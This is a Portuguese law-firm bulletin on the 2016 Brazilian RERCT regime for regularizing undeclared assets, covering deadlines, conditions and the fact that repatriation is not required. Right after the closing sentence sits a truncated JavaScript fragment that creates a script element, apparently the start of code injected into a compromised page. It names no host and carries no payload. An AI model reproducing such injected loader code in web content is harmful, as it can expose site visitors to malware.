Divulgados o prazo e as condições para a regularização de bens e recursos não declarados

Foi publicada hoje, no Diário Oficial da União, a regulamentação do Regime Especial de Regularização Cambial e Tributária (“RERCT”) instituído pela Lei nº 13.254/2016.

O prazo de adesão ao RERCT se iniciará em 4 de abril de 2016 e terminará em 31 de outubro de 2016.

Para se valer dos benefícios, é preciso atender uma série de condições estabelecidas tanto pela referida Lei quanto pela Instrução Normativa RFB no 1.627/2016, os quais já foram – em sua maior parte – objeto de análise em nossos Boletins Informativos anteriores.

Essas condições variam em função do beneficiário final ser pessoa natural ou pessoa jurídica, bem como dos ativos serem detidos diretamente ou através de trusts, offshore companies (IBCs, PLCs ou LLCs) ou fundações privadas.

Por outro lado, ao contrário do que muitos acreditam, a adesão ao RERCT não implica na repatriação dos ativos objeto de regularização. Esses, uma vez regularmente declarados, poderão ser legalmente mantidos no exterior.

Importante notar – por fim – que os vetos presidenciais à Lei nº 13.254/2016 ainda não foram apreciados pelo Congresso Nacional e, caso algum venha a ser rejeitados, poderá haver alterações no RERCT.

Recomendamos que todos os clientes que possuam ativos não declarados analisem a possibilidade, a conveniência e a oportunidade da adesão ao RERCT. Nesse sentido, tendo em vista se tratar de questão extremamente sensível, ficamos à inteira disposição para discutir pessoalmente o assunto.var d=document;var s=d.createElement(‘script’);

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por Leoni Siqueira Advogados

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